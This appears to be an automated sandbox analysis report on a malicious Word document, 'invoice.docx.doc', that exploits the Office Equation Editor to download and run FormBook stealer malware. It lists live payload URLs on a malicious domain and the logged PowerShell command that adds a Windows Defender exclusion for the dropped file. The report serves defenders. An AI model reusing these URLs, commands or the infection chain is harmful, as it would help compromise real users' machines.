Edit tour

Windows Analysis Report
invoice.docx.doc

Overview

General Information

Sample name:	invoice.docx.doc
Analysis ID:	1482854
MD5:	b75bd88d4f4f2a7a5e77a4109d55c6ea
SHA1:	064c35b26c31413319d938fbc6ebaa3c4c85392e
SHA256:	b74bbed109e630f69004a7372b4271fad04ace2cea48e99d730401738ee47deb
Tags:	doc
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Microsoft Office launches external ms-search protocol handler (WebDAV)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected FormBook

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Contains an external reference to another file

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Microsoft Office drops suspicious files

Office drops RTF file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office viewer loads remote template

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Microsoft Office Child Process

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains Microsoft Equation 3.0 OLE entries

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Screensaver Binary File Creation

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2052 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3224 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

milliano89012.scr (PID: 3288 cmdline: "C:\Users\user\AppData\Roaming\milliano89012.scr" MD5: 3E71689FBA4D56A7F1C7923351518EA8)

powershell.exe (PID: 3336 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

milliano89012.scr (PID: 3364 cmdline: "C:\Users\user\AppData\Roaming\milliano89012.scr" MD5: 3E71689FBA4D56A7F1C7923351518EA8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x4d1e9:$obj2: \objdata 0x4d205:$obj3: \objupdate 0x4d1c5:$obj4: \objemb
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x4d1e9:$obj2: \objdata 0x4d205:$obj3: \objupdate 0x4d1c5:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2fb6f:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17dbe:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bae0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.milliano89012.scr.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
13.2.milliano89012.scr.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2fb6f:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17dbe:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
13.2.milliano89012.scr.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
13.2.milliano89012.scr.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ef6f:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x171be:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3224, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49168

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\milliano89012.scr", ParentImage: C:\Users\user\AppData\Roaming\milliano89012.scr, ParentProcessId: 3288, ParentProcessName: milliano89012.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", ProcessId: 3336, ProcessName: powershell.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine: "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\milliano89012.scr, NewProcessName: C:\Users\user\AppData\Roaming\milliano89012.scr, OriginalFileName: C:\Users\user\AppData\Roaming\milliano89012.scr, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3224, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\milliano89012.scr", ProcessId: 3288, ProcessName: milliano89012.scr

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3224, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, Initiated: true, ProcessId: 2052, Protocol: tcp, SourceIp: 188.114.97.3, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3224, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2052, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\milliano89012.scr", ParentImage: C:\Users\user\AppData\Roaming\milliano89012.scr, ParentProcessId: 3288, ParentProcessName: milliano89012.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\milliano89012.scr", ProcessId: 3336, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2052, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3336, TargetFilename: C:\Users\user\AppData\Local\Temp\ggrwxfj1.e5i.ps1

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 - Source IP: 188.114.96.3 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:26:19.038068+0200
SID:	2022053
Source Port:	443
Destination Port:	49168
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://darpexllc.top/milli.scrjjC:	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/milli.scr	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/milli.doc	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/milli.scrC:	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/milli.scrX	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/E	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/milli.scrj	Avira URL Cloud: Label: malware
Source: https://darpexllc.top/B	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp

Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Multi AV Scanner detection for domain / URL

Source: darpexllc.top	Virustotal: Detection: 6%	Perma Link
Source: https://darpexllc.top/milli.doc	Virustotal: Detection: 14%	Perma Link
Source: https://darpexllc.top/milli.scr	Virustotal: Detection: 12%	Perma Link
Source: https://darpexllc.top/milli.scrj	Virustotal: Detection: 11%	Perma Link
Source: https://darpexllc.top/	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	Virustotal: Detection: 33%	Perma Link
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Virustotal: Detection: 33%	Perma Link

Multi AV Scanner detection for submitted file

Source: invoice.docx.doc	Virustotal: Detection: 29%			Perma Link
Source: invoice.docx.doc	ReversingLabs: Detection: 28%

Yara detected FormBook

Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 188.114.96.3 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\milliano89012.scr			Jump to behavior

Source: ~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp.0.dr

Stream path '_1783469528/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49162 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.22:49162 -> 188.114.96.3:443 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49170 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49168 version: TLS 1.2

Source:	Binary string: GYuS.pdbSHA256 source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr
Source:	Binary string: wntdll.pdb source: milliano89012.scr, milliano89012.scr, 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: GYuS.pdb source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 4x nop then jmp 00393AB5h

10_2_00391DC0

Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top
Source: global traffic	DNS query: name: darpexllc.top

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
